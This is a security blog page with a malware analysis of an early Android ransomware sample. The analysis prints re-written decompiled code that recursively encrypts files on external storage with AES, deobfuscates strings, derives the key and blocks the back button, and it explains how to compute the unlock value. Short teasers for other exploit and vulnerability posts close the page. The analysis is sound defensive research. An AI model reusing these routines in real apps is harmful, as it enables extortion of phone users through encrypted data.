From SSTI to SSTI to RCE - Bypassing Thymeleaf sandbox <= 3.1.3.RELEASE
Abstract The Thymeleaf release version 3.0.12 came with improvements in its sandboxed evaluation process, by restricting objects creations and static functio...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent. According to TrendMicro, The SMSLocker family (detected as ANDROIDOS_SLOCKER or ANDROIDOS_SMSLOCKER) was the beginning of what we now consider Android ransomware (1). In this analysis, I’ll present here the original sample captured by TrendMicro (2).
NOTE: some snippets have been re-written because of “bad” decompilation process, and could contain some mistranslations
As usual, I started with the routine onCreate
in the MainActivity
. Before talking about cryptographic part, let’s analyse what the malware does during the first execution.
The code is quite misleading, so here is a “cleaner” version (names haven’t been changed, except for local variables):
protected void onCreate(Bundle paramBundle){ ADRTLogCatReader.onContext(this, "com.aide.ui"); getWindow().addFlags(8320); this.mP = getApplicationContext().getPackageManager(); this.def = new ComponentName(getBaseContext(), "com.android.tencent.zdevs.bah.MainActivity"); this.mBazaar = new ComponentName(getBaseContext(), "com.android.tencent.zdevs.bah.QQ1279525738"); super.onCreate(paramBundle); setContentView(R.layout.home); instance = this; getSupportFragmentManager().beginTransaction().replace(R.layout.frame_content, new bah()).commit(); SharedPreferences prefs = getSharedPreferences("XH", 0); if (!prefs.getString("bah", "").equals("")) { this.xh = prefs.getString("bah", ""); } else{ this.xh = ("" + ((int)(Math.random() * 1000000) + 10000000)); SharedPreferences.Editor localEditor = prefs.edit(); localEditor.putString("bah", this.xh); localEditor.commit(); } hz = sss.l( /* ... the long string ...*/ ) + this.xh; m = "" + (Integer.parseInt(this.xh) + 520); hzs = hz.length(); fi = new File(Environment.getExternalStorageDirectory() + "/"); if (prefs.getInt("cs", 0) >= 2){ setTitle("Lycorisradiata"); getSupportFragmentManager().beginTransaction().replace(R.layout.frame_content, new qq1279525738()).commit(); sss.bz(this); } if (prefs.getInt("sss", 0) != 0) { setTitle("Lycorisradiata"); getSupportFragmentManager().beginTransaction().replace(R.layout.frame_content, new qq1279525738()).commit(); sss.bz(this); setIconSc(); } else{ new Thread(new Runnable(){ @Override public void run(){ sss.deleteDir(MainActivity.fi.toString(), MainActivity.m, 1, MainActivity.this); } }).start(); } }
A first thing to notice is that the app checks if it’s the first launch by comparing the value of bah
(stored in SharedPreferences
) against an empty string. If the entry
already exists, its value is stored in variable xh
(used later for cryptographic purpose as we will see). Otherwise, a random value is generated and stored for the next time.
A second thing to notice is the comparison between prefs.getInt("sss", 0)
and 0. By default, the value is 0, and then, a new Thread
is started, calling a suspicious routine
named sss.deleteDir
. In fact, the entry sss
just tested in set to 1 in this routine, which means that at the next time, the if
block will normally be executed. If it’s the case,
the routine setIconSc
will change the app’s icon an name:
private void disableComponent(ComponentName paramComponentName){ this.mP.setComponentEnabledSetting(paramComponentName, 2, 1); } private void enabledComponent(ComponentName paramComponentName){ this.mP.setComponentEnabledSetting(paramComponentName, 1, 1); } private void setIconSc(){ disableComponent(this.def); enabledComponent(this.mBazaar); }
By using an alias, the app changes its appearance but is launched in the same way:
Finally, one can also notice that the malware tries to prevent the user to quit:
By returning true
, the event is not sent to the next receiver. The code shown above could be written in this way:
public boolean onKeyDown(int keyCode, KeyEvent paramKeyEvent){ if (keyCode == KeyEvent.KEYCODE_BACK) { String msg; if (!((Fragment)getSupportFragmentManager().findFragmentById(2131099760) instanceof bah)) { msg = "Please do not quit the software, or the file may never be recovered!"; } else{ msg = /** some chinese characters **/; } Toast.makeText(this, msg, 1).show(); return true; }
Now, let’s talk about cryptography.
## Files encryption
In the previous part, I didn’t mention this line:
getSupportFragmentManager().beginTransaction().replace(2131099760, new bah()).commit();
This fragment displays the following progress bar:
and in background, the routine sss.deleteDir
is executed and does its evil job (re-written):
public static void deleteDir(String path, String key, int action, Context context){ if (action != 0) { new Timer().schedule(new TimerTask(){ public void run(){ SharedPreferences.Editor editor = context.getSharedPreferences("XH", 0).edit(); editor.putInt("sss", 1); editor.commit(); MainActivity.instance.finish(); Intent intent = sss.this.getPackageManager().getLaunchIntentForPackage(sss.this.getPackageName()); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); context.startActivity(intent); } }, 600000); } deleteDirWihtFile(new File(path), key, action, context); bool = true; }
The parameter action
is either 0 or 1 (decrypt/encrypt). As we can see, the MainActivity
is closed and reopen, and then, the code of onCreate
makes sense. The real bad job is actually done
in the routine deleteDirWihtFile
, selecting recursively the files to encrypt. Since it’s a big routine, here is the re-written code:
public static void deleteDirWihtFile(File file, final String key, final int action, final Context context){ if ((file == null) || !file.exists() || !file.isDirectory()) return; List<File> files = Arrays.asList(file.listFiles()); Collections.reverse(files); File[] arrayOfFile = files.toArray(new File[files.size()]); for (int i = 0;i < arrayOfFile.length;i++){ final File localFile = arrayOfFile[i]; String str = localFile.toString(); if (str.length() >= MainActivity.hzs) str = (String)str.subSequence(str.length() - MainActivity.hzs, str.length()); if (action == 0) { try { if (localFile.isFile() && str.equals(MainActivity.hz) && !localFile.toString().contains("/.") && localFile.getName().contains(".")) { executorService.execute(new Runnable() { @Override public void run() { if (localFile.getName().contains("!\uff01" + MainActivity.hz)) localFile.delete(); else sss.jj(sss.this, key, action); aa++; if (lstFile.size() <= aa) { aa = 0; lstFile = new ArrayList<>(); SharedPreferences.Editor editor = context.getSharedPreferences("XH", 0).edit(); editor.putInt("cjk", 1); editor.commit(); MainActivity.instance.finish(); Intent intent = context.getPackageManager().getLaunchIntentForPackage(context.getPackageName()); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); context.startActivity(intent); } } }); } else if (localFile.isDirectory() && !localFile.toString().contains("/.") && !localFile.toString().toLowerCase().contains("android") && !localFile.toString().toLowerCase().contains("com.") && !localFile.toString().toLowerCase().contains("miad") && (jd(localFile.toString()) < 3 || localFile.toString().toLowerCase().contains("baidunetdisk") || localFile.toString().toLowerCase().contains("download") || localFile.toString().toLowerCase().contains("dcim"))) { deleteDirWihtFile(localFile, key, action, context); } } catch (Exception ignored) {} } else{ if (localFile.isFile() && !str.equals(MainActivity.hz) && !localFile.toString().contains("/.") && localFile.getName().contains(".") && localFile.length() > 0x2800 && localFile.length() <= 52428800 && zjs(localFile.getName() + MainActivity.hz) <= 251){ //zjs(s): return s.getBytes().length bb++; executorService.execute(new Runnable(){ @Override public void run(){ sss.jj(sss.this, key, action); hh++; if (bb == hh && bool){ SharedPreferences.Editor editor = context.getSharedPreferences("XH", 0).edit(); editor.putInt("sss", 1); editor.commit(); MainActivity.instance.finish(); Intent intent = context.getPackageManager().getLaunchIntentForPackage(context.getPackageName()); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); context.startActivity(intent); } } }); } else if (localFile.isDirectory() && !localFile.toString().contains("/.") && !localFile.toString().toLowerCase().contains("android") && !localFile.toString().toLowerCase().contains("com.") && !localFile.toString().toLowerCase().contains("miad") && (jd(localFile.toString()) < 3 || localFile.toString().toLowerCase().contains("baidunetdisk") || localFile.toString().toLowerCase().contains("download") || localFile.toString().toLowerCase().contains("dcim"))){ deleteDirWihtFile(localFile, key, action, context); } } } }
At the first time, the value of action
is 1. We can see that the malware doesn’t try to encrypt all files, for example:
MainActivity.hz
)If the object is a file, the routine jj
is called with the key
and the action
taken as parameters (in order to encrypt or decrypt), and if it’s a directory,
the routine deleteDirWihtFile
is recursively called.
In the previous snippet, the variable MainActivity.hz
was used. This string is built in MainActivity.onCreate
thanks to the routine sss.l
:
called with the parameter
\u17d7\u1782\u17d1\u178f\u17d7\u1782\u17d1\u178e\u17d7\u1782\u17d1\u1795\u17d7\u1782\u17d1\u1790\u17d7\u1782\u179a\u17d7\u17d7\u1782\u179a\u17d5\u17d7\u1782\u179a\u17c8\u17d7\u1782\u179a\u17d1\u17d7\u1782\u179a\u17d6\u17d7\u1782\u179a\u17c8\u17d7\u1782\u179a\u17d4\u17d7\u1782\u179a\u17da\u17d7\u1782\u179a\u17cc\u17d7\u1782\u179a\u17da\u17d7\u1782\u17d1\u1785\u17d7\u1782\u17d1\u1785\u17d6\u17a8\u1782\u1796\u17d6\u17aa\u17ac\u17aa\u17d5\u17ba\u1796\u1797\u17e9\u17d6\u17b9\u1786\u17d7\u17d5\u17b9\u17a4\u178b\u17d5\u17b9\u17a4\u1799\u17d6\u17a8\u17a4\u17d1\u17d6\u17a8\u1786\u179b\u17d7\u1782\u179a\u1784\u17e9
The routine is as follows:
and could be written in this way:
public static String l(String paramString){ String encoded = Base64.getEncoder().encodeToString("\u4e09\u751f\u77f3\u7554 \u5f7c\u5cb8\u82b1\u5f00".getBytes()).replaceAll("\\D+", ""); Integer int1 = new Integer(new StringBuffer(encoded).reverse().toString()); char[] chars = paramString.toCharArray(); for(int i = 0; i < chars.length; i++){ chars[i] = (char)(chars[i] ^ int1.intValue()); } String decoded = new StringBuffer(new String(Base64.getDecoder().decode(new String(chars).replace("\n", "")))).reverse().toString(); int1 = new Integer(encoded); chars = decoded.toCharArray(); for(int i = 0; i < chars.length; i++){ chars[i] = (char)(chars[i] ^ int1.intValue()); } return new String(chars); }
The returned string is a suffix appended on all encrypted files’ name:
As we saw, the routine jj
is called with the string key
and the number action
. Just as reminder, the string I called key
is the randomly generated value in MainActivity
.
Actually, this randomly generated value is equal to MainActivity.xh
+ 520, and is not exactly the key used to encrypt files:
This random string, representing an integer, is sent to the routine getsss
(re-written):
public static final String getsss(String paramString) { char[] arrayOfChar = new char[]{ 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102 }; try { byte[] bytes = paramString.getBytes(); MessageDigest digest = MessageDigest.getInstance("MD5"); digest.update(bytes); byte[] hash = digest.digest(); int k = hash.length; char[] chars = new char[k * 2]; for (int i = 0, j = 0; i < k; i++) { int m = hash[i]; int n = j + 1; chars[j] = arrayOfChar[(m >>> 4) & 0xF]; chars[n] = arrayOfChar[m & 0xF]; j = (n + 1); } return new String(chars).toString().substring(8, 24); } catch (Exception e) { e.printStackTrace(); } return null; }
This value is finally used in the routine initAESCipher
in order to create the final key (re-written):
private static Cipher initAESCipher(String key, int mode) { Cipher cipher = null; try { IvParameterSpec iv = new IvParameterSpec("QQqun 571012706 ".getBytes()); SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(mode, keySpec, iv); } catch (InvalidKeyException | InvalidAlgorithmParameterException | NoSuchAlgorithmException | NoSuchPaddingException e) { e.printStackTrace(); } return cipher; }
Back to MainActivity.onCreate
. The malware shows the delicacy to change the wallpaper by calling sss.bz
:
In the routine sss.deleteDir
, there was a Timer
waiting for 10 minutes, and restarting the app. At this moment, the entry sss
in SharedPreferences
was set to 1,
and the app restarted. The new view displayed to the victim ( qq1279525738
) is then:
The button “Check Payment” displays three choices (QQ, Alipay, and WeChat), each one displaying a QR code:
but actually, the three QR codes pictures gave me the same md5 hash.
The decryption is done if the victime submits the right key and presses the button “Decrypt”:
We can see that the malware only compares the submitted value and MainActivity.m
, which is equal to the randomly generated value + 520, as we saw right at the beginning.
This random number is displayed in the TextView
:
here 10360636. The computation is then trivial:
Reverse engineer this ransomware was quite easy, as well as files decryption. However, despite of this simpleness, it is still harmful because of its malicious capabilities. Smartphones contain nowadays a lot of valuable data, and not everyone would be able to defeat the malware.
[1] Mobile Ransomware: Pocket-Sized Badness https://blog.trendmicro.com/trendlabs-security-intelligence/mobile-ransomware-pocket-sized-badness/
[2] SLocker Mobile Ransomware Starts Mimicking WannaCry https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/
Abstract The Thymeleaf release version 3.0.12 came with improvements in its sandboxed evaluation process, by restricting objects creations and static functio...
Abacus ERP is versions older than 2024.210.16036, 2023.205.15833, and 2022.105.15542 are affected by an authenticated arbitrary file read vulnerability. T...
It is a rainy Monday morning, and John is working from home, in his cozy apartment. He activated his VPN to access his business files, and everything is goin...
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
Intro After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really i...
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestion...
I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...
A few thoughts about PHP webshells …
I remember this carpet, at the entrance of the Computer Science faculty, with this message There’s no place like 127.0.0.1/8. A joke that would create two ca...
TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...
The reader should first take a look at the articles related to CVE-2023-3032 and CVE-2023-3033 that I published a few days ago to get more context.
This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...
Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...
King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...
I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...
A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...
In the previous article, I described how I wrote a simple polymorphic program. “Polymorphic” means that the program (the binary) changes its appearance every...
The malware presented in this blog post appeared on Google Play in 2016. I heard about it thanks to this article published on checkpoint.com. The malicious a...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent...
A few days ago, I found this article about a malware targeting Sberbank, a big Russian bank. The app disguises itself as a web application, stealing in backg...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye ...
Could a 5-classes Android app be so harmful ? dsencrypt says “yes”…
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
~$ cat How_an_Android_app_could_escalate_its_privileges.txt
Even if the thesis introduces the extensions internals, and analyses the difference between mobile and desktop browsers in terms of likelihood, efficiency an...